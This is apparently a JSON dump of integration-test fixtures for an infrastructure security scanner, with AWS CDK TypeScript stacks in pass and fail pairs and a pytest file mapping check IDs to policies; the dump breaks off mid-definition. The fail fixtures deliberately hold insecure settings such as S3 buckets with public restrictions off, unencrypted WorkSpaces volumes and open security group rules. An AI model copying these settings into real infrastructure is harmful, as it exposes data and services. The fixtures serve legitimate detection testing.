    "content": "import { App, Stack, StackProps } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\n\nclass S3BucketExampleStack extends Stack {\n    constructor(scope: Construct, id: string, props?: StackProps) {\n        super(scope, id, props);\n\n        // Bucket with PUBLIC_READ access - Match\n        new s3.Bucket(this, 'MyPublicReadBucket');\n\n        new s3.Bucket(this, 'MyPrivateReadBucket');\n\n        // Bucket with PUBLIC_READ_WRITE access\n        new s3.Bucket(this, 'MyPublicReadWriteBucket', {\n            accessControl: s3.BucketAccessControl.Private,\n        });\n\n        // Bucket with publicReadAccess set to true\n        new s3.Bucket(this, 'MyPublicReadAccessBucket', {});\n\n        // Bucket with publicReadAccess set to true\n        new s3.Bucket(this, 'MyPublicReadAccessBucket', {\n            publicReadAccess: false,\n        });\n    }\n}\n\nconst app = new App();\nnew S3BucketExampleStack(app, 'S3BucketExampleStack');\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3RestrictPublicBuckets/fail__2__.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\n\nclass S3BucketWithPublicAccessStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n\n        new s3.Bucket(this, 'aaa', {\n            versioned: false, // You can enable versioning if needed\n            removalPolicy: cdk.RemovalPolicy.DESTROY, // Change this according to your retention policy\n            blockPublicAccess: new s3.BlockPublicAccess({\n                blockPublicAcls: true,\n                blockPublicPolicy: true,\n                ignorePublicAcls: true,\n                restrictPublicBuckets: false,\n            }),\n        });\n    }\n}\n\nclass PublicS3BucketStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n\n        new s3.CfnBucket(this, 'PublicBucket', {\n            versioningConfiguration: {\n                status: 'Suspended', // You can enable versioning if needed\n            },\n            publicAccessBlockConfiguration: {\n                blockPublicAcls: true,\n                blockPublicPolicy: true,\n                ignorePublicAcls: true,\n                restrictPublicBuckets: false,\n            },\n        });\n    }\n}\n\nconst app = new cdk.App();\nnew S3BucketWithPublicAccessStack(app, 'S3BucketWithPublicAccessStack');\nnew PublicS3BucketStack(app, 'PublicS3BucketStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/S3RestrictPublicBuckets/pass.ts",
    "content": "import * as cdk from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport * as s3 from 'aws-cdk-lib/aws-s3';\n\nclass S3BucketWithPublicAccessStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n\n        new s3.Bucket(this, 'aaa', {\n            versioned: false, // You can enable versioning if needed\n            removalPolicy: cdk.RemovalPolicy.DESTROY, // Change this according to your retention policy\n            blockPublicAccess: s3.BlockPublicAccess.BLOCK_ALL, // Enforce all public access restrictions\n        });\n    }\n}\n\nclass PublicS3BucketStack extends cdk.Stack {\n    constructor(scope: Construct, id: string, props?: cdk.StackProps) {\n        super(scope, id, props);\n\n        new s3.CfnBucket(this, 'PublicBucket', {\n            versioningConfiguration: {\n                status: 'Suspended', // You can enable versioning if needed\n            },\n            publicAccessBlockConfiguration: {\n                blockPublicAcls: true,\n                blockPublicPolicy: true,\n                ignorePublicAcls: true,\n                restrictPublicBuckets: true,\n      },\n    });\n  }\n}\n\nconst app = new cdk.App();\nnew S3BucketWithPublicAccessStack(app, 'S3BucketWithPublicAccessStack');\nnew PublicS3BucketStack(app, 'PublicS3BucketStack');\napp.synth();"
  },
  {
    "path": "cdk_integration_tests/src/typescript/SNSTopicEncryption/fail.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as sns from 'aws-cdk-lib/aws-sns';\nimport { Construct } from 'constructs';\n\nclass MyStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    new sns.Topic(this, 'Topic', {\n      topicName: 'my-topic',\n    });\n  }\n}\n\nconst app = new App();\nnew MyStack(app, 'MyStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/SNSTopicEncryption/pass.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as sns from 'aws-cdk-lib/aws-sns';\nimport * as kms from 'aws-cdk-lib/aws-kms';\nimport { Construct } from 'constructs';\n\nclass MyStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Create a new KMS Key\n    const key = new kms.Key(this, 'MyKey');\n\n    // Create a new SNS Topic using the KMS Key for encryption\n    new sns.Topic(this, 'Topic', {\n      topicName: 'my-topic',\n      masterKey: key,\n    });\n  }\n}\n\nconst app = new App();\nnew MyStack(app, 'MyStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/SQSQueueEncryption/fail__2__.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport { Construct } from 'constructs';\nimport * as sqs from 'aws-cdk-lib/aws-sqs';\n\nclass SqsQueueWithKmsKeyStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    new sqs.Queue(this, \"MySqsQueue\", {\n      encryption: sqs.QueueEncryption.KMS,\n      visibilityTimeout: cdk.Duration.seconds(300) // Other properties for the queue\n    });\n  }\n}\n\nconst app = new App();\nnew SqsQueueWithKmsKeyStack(app, \"SqsQueueWithKmsKeyStack\");\napp.synth();\n\nclass SqsQueueWithKmsKeyIdStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    var mySqs = new sqs.CfnQueue(this, \"MySqsQueue\", {\n      visibilityTimeout: 300  // Other properties for the queue\n      // Specify the KMS key ID if needed here, e.g., kmsMasterKeyId: 'alias/aws/sqs'\n    });\n  }\n}\n\nconst app2 = new App();\nnew SqsQueueWithKmsKeyIdStack(app2, \"SqsQueueWithKmsKeyIdStack\");\napp2.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/SQSQueueEncryption/pass.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as sqs from 'aws-cdk-lib/aws-sqs';\nimport * as kms from 'aws-cdk-lib/aws-kms';\nimport * as cfn from 'aws-cdk-lib/aws-cloudformation';\nimport { Construct } from 'constructs';\n\nclass SqsQueueWithKmsKeyStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Create a KMS key for encryption\n    const kmsKey = new kms.Key(this, 'MyKmsKey', {\n      enableKeyRotation: true,\n    });\n\n    // Create an SQS queue with KMS encryption\n    new sqs.Queue(this, 'MySqsQueue', {\n      encryption: sqs.QueueEncryption.KMS,\n      encryptionMasterKey: kmsKey,\n      visibilityTimeout: cdk.Duration.seconds(300), // Other properties for the queue\n    });\n  }\n}\n\nconst app = new App();\nnew SqsQueueWithKmsKeyStack(app, 'SqsQueueWithKmsKeyStack');\napp.synth();\n\n\nclass SqsQueueWithKmsKeyIdStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define a custom KMS key\n    const kmsKey = new cfn.CfnCustomResource(this, 'MyKmsKeyResource', {\n      serviceToken: 'arn:aws:lambda:<your-region>:<your-account>:function/<your-lambda-function>',\n      // Add other properties as needed\n    });\n\n    // Define an SQS queue with a specific KmsMasterKeyId\n    new sqs.CfnQueue(this, 'MySqsQueue', {\n      kmsMasterKeyId: kmsKey.getAtt('KmsKeyId').toString(),\n      visibilityTimeout: 300, // Other properties for the queue\n    });\n  }\n}\n\nconst app2 = new App();\nnew SqsQueueWithKmsKeyIdStack(app2, 'SqsQueueWithKmsKeyIdStack');\napp2.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/SecretManagerSecretEncrypted/fail__2__.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as secretsmanager from 'aws-cdk-lib/aws-secretsmanager';\nimport * as kms from 'aws-cdk-lib/aws-kms';\nimport { Construct } from 'constructs';\n\nclass MySecretsStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define a SecretsManager secret with KMS key ID\n    const mySecret = new secretsmanager.Secret(this, 'MySecret', {\n      secretName: 'MySecretName',\n      encryptionKey: kms.Key.fromKeyArn(this, 'MyKmsKey', 'arn:aws:kms:REGION:ACCOUNT_ID:key/aws/KMS_KEY_ID'),\n    });\n  }\n}\n\nclass MySecretsStack2 extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define a SecretsManager secret without specifying KMS key ID\n    const mySecret = new secretsmanager.Secret(this, 'MySecret', {\n      secretName: 'MySecretName',\n    });\n  }\n}\n\nconst app = new App();\nnew MySecretsStack(app, \"MySecretsStack\");\nnew MySecretsStack2(app, \"MySecretsStack2\");\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/SecretManagerSecretEncrypted/pass.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as secretsmanager from 'aws-cdk-lib/aws-secretsmanager';\nimport * as kms from 'aws-cdk-lib/aws-kms';\nimport { Construct } from 'constructs';\n\nclass MySecretsStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define a SecretsManager secret with KMS key ID\n    const mySecret = new secretsmanager.Secret(this, 'MySecret', {\n      secretName: 'MySecretName',\n      encryptionKey: kms.Key.fromKeyArn(this, 'MyKmsKey', 'arn:aws:kms:REGION:ACCOUNT_ID:key/KMS_KEY_ID'),\n    });\n  }\n}\n\n\nconst app = new App();\nnew MySecretsStack(app, \"MySecretsStack\");\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/SecurityGroupRuleDescription/fail__4__.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport { Construct } from 'constructs';\n\nclass MySecurityGroupStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define EC2 Security Group with Ingress\n    const securityGroup = new ec2.CfnSecurityGroup(this, 'MySecurityGroup', {\n      groupDescription: 'My security group',\n      securityGroupIngress: [\n        {\n          description: 'Allow HTTP inbound',\n          ipProtocol: 'tcp',\n          fromPort: 80,\n          toPort: 80,\n          cidrIp: '0.0.0.0/0',\n        },\n      ],\n      // Other properties for your Security Group\n    });\n  }\n}\n\nclass MySecurityGroupEgressStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define EC2 Security Group with Egress\n    const securityGroupEgress = new ec2.CfnSecurityGroup(this, 'MySecurityGroup', {\n      groupDescription: 'My security group',\n      securityGroupEgress: [\n        {\n          description: 'Allow HTTP outbound',\n          ipProtocol: 'tcp',\n          fromPort: 80,\n          toPort: 80,\n          cidrIp: '0.0.0.0/0',\n        },\n      ],\n      // Other properties for your Security Group\n    });\n  }\n}\n\nclass MySecurityGroupIngressStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define EC2 Security Group Ingress\n    new ec2.CfnSecurityGroupIngress(this, 'MySecurityGroupIngress', {\n      groupId: 'your-security-group-id', // Replace with your Security Group ID\n      ipProtocol: 'tcp',\n      fromPort: 80,\n      toPort: 80,\n      cidrIp: '0.0.0.0/0',\n      // Other properties for your Security Group Ingress\n    });\n  }\n}\n\nclass MySecurityGroupEgressStack2 extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define EC2 Security Group Egress\n    new ec2.CfnSecurityGroupEgress(this, 'MySecurityGroupEgress', {\n      groupId: 'your-security-group-id', // Replace with your Security Group ID\n      ipProtocol: 'tcp',\n      fromPort: 80,\n      toPort: 80,\n      cidrIp: '0.0.0.0/0',\n      // Other properties for your Security Group Egress\n    });\n  }\n}\n\nconst app = new App();\nnew MySecurityGroupStack(app, \"MySecurityGroupStack\");\nnew MySecurityGroupIngressStack(app, \"MySecurityGroupIngressStack\");\nnew MySecurityGroupEgressStack(app, \"MySecurityGroupEgressStack\");\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/SecurityGroupRuleDescription/pass.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport { Construct } from 'constructs';\n\nclass MySecurityGroupStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define EC2 Security Group with Ingress Rules\n    new ec2.CfnSecurityGroup(this, 'MySecurityGroup', {\n      groupDescription: 'My security group',\n      securityGroupIngress: [\n        {\n          description: 'True',\n          ipProtocol: 'tcp',\n          fromPort: 80,\n          toPort: 80,\n          cidrIp: '0.0.0.0/0',\n        },\n      ],\n      // Other properties for your Security Group\n    });\n  }\n}\n\nclass MySecurityGroupEgressStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define EC2 Security Group with Egress Rules\n    new ec2.CfnSecurityGroup(this, 'MySecurityGroupEgress', {\n      groupDescription: 'My security group',\n      securityGroupEgress: [\n        {\n          description: 'True',\n          ipProtocol: 'tcp',\n          fromPort: 80,\n          toPort: 80,\n          cidrIp: '0.0.0.0/0',\n        },\n      ],\n      // Other properties for your Security Group\n    });\n  }\n}\n\nclass MySecurityGroupIngressStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define EC2 Security Group Ingress\n    new ec2.CfnSecurityGroupIngress(this, 'MySecurityGroupIngress', {\n      groupId: 'your-security-group-id', // Replace with your Security Group ID\n      ipProtocol: 'tcp',\n      fromPort: 80,\n      toPort: 80,\n      cidrIp: '0.0.0.0/0',\n      description: 'abc',\n      // Other properties for your Security Group Ingress\n    });\n  }\n}\n\nclass MySecurityGroupEgressStack2 extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define EC2 Security Group Egress\n    new ec2.CfnSecurityGroupEgress(this, 'MySecurityGroupEgress', {\n      groupId: 'your-security-group-id', // Replace with your Security Group ID\n      ipProtocol: 'tcp',\n      fromPort: 80,\n      toPort: 80,\n      cidrIp: '0.0.0.0/0',\n      description: 'abc',\n      // Other properties for your Security Group Egress\n    });\n  }\n}\n\nconst app = new App();\nnew MySecurityGroupStack(app, \"MySecurityGroupStack\");\nnew MySecurityGroupEgressStack(app, \"MySecurityGroupEgressStack\");\nnew MySecurityGroupIngressStack(app, \"MySecurityGroupIngressStack\");\nnew MySecurityGroupEgressStack2(app, \"MySecurityGroupEgressStack2\");\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/TransferServerIsPublic/fail__1__.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as transfer from 'aws-cdk-lib/aws-transfer';\nimport { Construct } from 'constructs';\n\nclass MyTransferServerStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define Transfer Server with EndpointType set to a custom value\n    new transfer.CfnServer(this, 'MyTransferServer', {\n      endpointType: 'abc', // Replace 'abc' with your endpoint type\n      // Other properties as needed for your Transfer Server\n    });\n  }\n}\n\nconst app = new App();\nnew MyTransferServerStack(app, \"MyTransferServerStack\");\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/TransferServerIsPublic/pass.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as transfer from 'aws-cdk-lib/aws-transfer';\nimport { Construct } from 'constructs';\n\nclass MyTransferServerStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define Transfer Server with EndpointType set to VPC\n    new transfer.CfnServer(this, 'MyTransferServer', {\n      endpointType: 'VPC',\n      // Other properties as needed for your Transfer Server\n    });\n  }\n}\n\nclass MyTransferServerStack2 extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define Transfer Server with EndpointType set to VPC_ENDPOINT\n    new transfer.CfnServer(this, 'MyTransferServer2', {\n      endpointType: 'VPC_ENDPOINT',\n      // Other properties as needed for your Transfer Server\n    });\n  }\n}\n\nconst app = new App();\nnew MyTransferServerStack(app, \"MyTransferServerStack\");\nnew MyTransferServerStack2(app, \"MyTransferServerStack2\");\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/VPCEndpointAcceptanceConfigured/fail__2__.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport { Construct } from 'constructs';\n\nclass MyVpcEndpointServiceStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define VPC Endpoint Service with acceptance not required\n    var x = new ec2.CfnVPCEndpointService(this, 'MyVPCEndpointService');\n\n    const y = new ec2.CfnVPCEndpointService(this, 'MyVPCEndpointService', {\n          acceptanceRequired: false,\n    });\n  }\n}\n\nconst app = new App();\nnew MyVpcEndpointServiceStack(app, \"MyVpcEndpointServiceStack\");\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/VPCEndpointAcceptanceConfigured/pass.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as ec2 from 'aws-cdk-lib/aws-ec2';\nimport { Construct } from 'constructs';\n\nclass MyVpcEndpointServiceStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Define VPC Endpoint Service with acceptance not required\n    new ec2.CfnVPCEndpointService(this, 'MyVPCEndpointService', {\n      acceptanceRequired: true,\n      // Other properties for your VPC Endpoint Service\n    });\n  }\n}\n\nconst app = new App();\nnew MyVpcEndpointServiceStack(app, \"MyVpcEndpointServiceStack\");\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/WAFEnabled/fail__1__.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as cloudfront from 'aws-cdk-lib/aws-cloudfront';\nimport { Construct } from 'constructs';\n\nclass CloudFrontDistributionStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Create a CloudFront distribution\n    new cloudfront.CfnDistribution(this, 'MyCloudFrontDistribution', {\n      distributionConfig: {\n        defaultCacheBehavior: {\n          // Configure your cache behavior as needed\n          viewerProtocolPolicy: 'allow-all', // Example configuration\n          targetOriginId: 'myTargetOrigin', // Example configuration, needs to match an origin\n          forwardedValues: {\n            queryString: true,\n            cookies: { forward: 'none' },\n          },\n        },\n        enabled: true,\n        // Other distributionConfig properties as needed\n      },\n    });\n  }\n}\n\nconst app = new App();\nnew CloudFrontDistributionStack(app, \"CloudFrontDistributionStack\");\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/WAFEnabled/pass.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as cloudfront from 'aws-cdk-lib/aws-cloudfront';\nimport * as wafv2 from 'aws-cdk-lib/aws-wafv2';\nimport { Construct } from 'constructs';\n\nclass CloudFrontDistributionStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Create a WebACL\n    const webAcl = new wafv2.CfnWebACL(this, 'MyWebACL', {\n      defaultAction: { allow: {} },\n      scope: 'CLOUDFRONT',\n      visibilityConfig: {\n        cloudWatchMetricsEnabled: true,\n        metricName: 'webAclMetric',\n        sampledRequestsEnabled: true,\n      },\n      // Configure your WebACL as needed\n      rules: [],\n    });\n\n    // Create a CloudFront distribution\n    const distribution = new cloudfront.CfnDistribution(this, 'MyCloudFrontDistribution', {\n      distributionConfig: {\n        defaultCacheBehavior: {\n          // Configure your cache behavior as needed\n          viewerProtocolPolicy: 'allow-all', // Example configuration\n          targetOriginId: 'myTargetOrigin', // Example configuration, needs to match an origin\n          forwardedValues: {\n            queryString: false,\n            cookies: { forward: 'none' },\n          },\n        },\n        enabled: true,\n        webAclId: webAcl.attrArn, // Set the WebACL association\n        // Other distributionConfig properties as needed\n      },\n    });\n  }\n}\n\nconst app = new App();\nnew CloudFrontDistributionStack(app, 'CloudFrontDistributionStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/WorkspaceRootVolumeEncrypted/fail__1__.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as workspaces from 'aws-cdk-lib/aws-workspaces';\nimport { Construct } from 'constructs';\n\nclass WorkSpacesStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Note: The creation of a WorkSpaces directory as depicted in the Python code isn't directly supported through AWS CDK as of my last update.\n    // Typically, you would use an existing directory (like an AD Connector or a Simple AD).\n    // However, let's assume we're associating the workspace with an existing directory for this example.\n\n    // Create a WorkSpaces workspace with root volume encryption enabled\n    new workspaces.CfnWorkspace(this, 'MyWorkspace', {\n      directoryId: 'your-directory-id', // Replace with your actual directory ID\n      userName: 'my-user',\n      bundleId: 'wsb-12345678', // Replace with your actual bundle ID\n      rootVolumeEncryptionEnabled: false,\n      userVolumeEncryptionEnabled: false, // Set to true if you want user volume encryption\n      // Workspace properties need to be defined here, if necessary.\n    });\n  }\n}\n\nconst app = new App();\nnew WorkSpacesStack(app, 'WorkSpacesStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/WorkspaceRootVolumeEncrypted/pass.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as workspaces from 'aws-cdk-lib/aws-workspaces';\nimport { Construct } from 'constructs';\n\nclass WorkSpacesStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Assuming the Directory ID is known and exists. Replace 'your-directory-id' with the actual Directory ID.\n    const directoryId = 'your-directory-id';\n\n    // Create a WorkSpaces workspace with root volume encryption enabled\n    new workspaces.CfnWorkspace(this, 'MyWorkspace', {\n      directoryId: directoryId, // Use the known Directory ID\n      bundleId: 'wsb-12345678', // Replace with your actual bundle ID\n      userName: 'my-user',\n      rootVolumeEncryptionEnabled: true,\n      userVolumeEncryptionEnabled: false, // Set to true if you want user volume encryption\n      // Other properties for your Workspace as needed\n    });\n  }\n}\n\nconst app = new App();\nnew WorkSpacesStack(app, 'WorkSpacesStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/WorkspaceUserVolumeEncrypted/fail__1__.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as workspaces from 'aws-cdk-lib/aws-workspaces';\nimport { Construct } from 'constructs';\n\nclass WorkSpacesStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Note: The creation of a WorkSpaces directory as depicted in the Python code isn't directly supported through AWS CDK as of my last update.\n    // Typically, you would use an existing directory (like an AD Connector or a Simple AD).\n    // However, let's assume we're associating the workspace with an existing directory for this example.\n\n    // Create a WorkSpaces workspace with root volume encryption enabled\n    new workspaces.CfnWorkspace(this, 'MyWorkspace', {\n      directoryId: 'your-directory-id', // Replace with your actual directory ID\n      userName: 'my-user',\n      bundleId: 'wsb-12345678', // Replace with your actual bundle ID\n      rootVolumeEncryptionEnabled: false,\n      userVolumeEncryptionEnabled: false, // Set to true if you want user volume encryption\n      // Workspace properties need to be defined here, if necessary.\n    });\n  }\n}\n\nconst app = new App();\nnew WorkSpacesStack(app, 'WorkSpacesStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/WorkspaceUserVolumeEncrypted/pass.ts",
    "content": "import { App, Stack } from 'aws-cdk-lib';\nimport * as workspaces from 'aws-cdk-lib/aws-workspaces';\nimport { Construct } from 'constructs';\n\nclass WorkSpacesStack extends Stack {\n  constructor(scope: Construct, id: string, props?: {}) {\n    super(scope, id, props);\n\n    // Assuming the Directory ID is known and exists. Replace 'your-directory-id' with the actual Directory ID.\n    const directoryId = 'your-directory-id';\n\n    // Create a WorkSpaces workspace with root volume encryption enabled\n    new workspaces.CfnWorkspace(this, 'MyWorkspace', {\n      directoryId: directoryId, // Use the known Directory ID\n      bundleId: 'wsb-12345678', // Replace with your actual bundle ID\n      userName: 'my-user',\n      rootVolumeEncryptionEnabled: true,\n      userVolumeEncryptionEnabled: true, // Set to true if you want user volume encryption\n      // Other properties for your Workspace as needed\n    });\n  }\n}\n\nconst app = new App();\nnew WorkSpacesStack(app, 'WorkSpacesStack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/src/typescript/s3.ts",
    "content": "import { App, Stack, StackProps } from \"aws-cdk-lib\";\nimport * as s3 from 'aws-cdk-lib/aws-s3';\nimport { Construct } from 'constructs';\n\nexport class exampleStack extends Stack {\n  constructor(scope: Construct, id: string, props?: StackProps) {\n    super(scope, id, props);\n\n    new s3.Bucket(this, 'example', {\n      encryption: s3.BucketEncryption.S3_MANAGED,\n    });\n  }\n}\n\nconst app = new App();\nnew exampleStack(app, 'example-stack');\napp.synth();\n"
  },
  {
    "path": "cdk_integration_tests/test_checks_python.py",
    "content": "from typing import Dict, Any, List\n\nimport pytest\n\nfrom cdk_integration_tests.utils import run_check, load_failed_checks_from_file\n\nLANGUAGE = 'python'\n\n\n@pytest.fixture(scope=\"session\", autouse=True)\ndef failed_checks() -> Dict[str, List[Dict[str, Any]]]:\n    report_failed_checks = load_failed_checks_from_file(LANGUAGE)\n    yield report_failed_checks\n\n\ndef test_CKV_AWS_18_S3BucketLogging(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_18\", policy_name=\"S3BucketLogging\", language=\"python\")\n\n\ndef test_CKV_AWS_19_S3BucketEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_19\", policy_name=\"S3BucketEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_21_S3BucketVersioning(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_21\", policy_name=\"S3BucketVersioning\", language=\"python\")\n\n\ndef test_CKV_AWS_145_S3BucketKMSEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_145\", policy_name=\"S3BucketKMSEncryption\", language=\"python\")\n\n\ndef test_CKV2_AWS_6_S3BucketPublicAccessBlock(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV2_AWS_6\", policy_name=\"S3BucketPublicAccessBlock\", language=\"python\")\n\n\ndef test_CKV_AWS_54_S3BlockPublicPolicy(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_54\", policy_name=\"S3BlockPublicPolicy\", language=\"python\")\n\n\ndef test_CKV_AWS_26_SNSTopicEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_26\", policy_name=\"SNSTopicEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_20_S3PublicACLRead(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_20\", policy_name=\"S3PublicACLRead\", language=\"python\")\n\n\ndef test_CKV_AWS_55_S3IgnorePublicACLs(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_55\", policy_name=\"S3IgnorePublicACLs\", language=\"python\")\n\n\ndef test_CKV_AWS_56_S3RestrictPublicBuckets(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_56\", policy_name=\"S3RestrictPublicBuckets\", language=\"python\")\n\n\ndef test_CKV_AWS_53_S3BlockPublicACLs(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_53\", policy_name=\"S3BlockPublicACLs\", language=\"python\")\n\n\ndef test_CKV_AWS_57_S3PublicACLWrite(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_57\", policy_name=\"S3PublicACLWrite\", language=\"python\")\n\n\ndef test_CKV_AWS_115_LambdaFunctionLevelConcurrentExecutionLimit(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_115\", policy_name=\"LambdaFunctionLevelConcurrentExecutionLimit\", language=\"python\")\n\n\ndef test_CKV_AWS_116_LambdaDLQConfigured(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_116\", policy_name=\"LambdaDLQConfigured\", language=\"python\")\n\n\ndef test_CKV_AWS_28_DynamodbRecovery(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_28\", policy_name=\"DynamodbRecovery\", language=\"python\")\n\n\ndef test_CKV_AWS_158_CloudWatchLogGroupKMSKey(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_158\", policy_name=\"CloudWatchLogGroupKMSKey\", language=\"python\")\n\n\ndef test_CKV_AWS_3_EBSEncryption(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_3\", policy_name=\"EBSEncryption\", language=\"python\")\n\n\ndef test_CKV_AWS_120_APIGatewayCacheEnable(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_120\", policy_name=\"APIGatewayCacheEnable\", language=\"python\")\n\n\ndef test_CKV_AWS_163_ECRImageScanning(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_163\", policy_name=\"ECRImageScanning\", language=\"python\")\n\n\ndef test_CKV_AWS_51_ECRImmutableTags(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_51\", policy_name=\"ECRImmutableTags\", language=\"python\")\n\n\ndef test_CKV_AWS_44_NeptuneClusterStorageEncrypted(failed_checks):\n    run_check(check_results=failed_checks, check_id=\"CKV_AWS_44\", policy_name=\"NeptuneClusterStorageEncrypted\", language=\"python\")\n\n\ndef 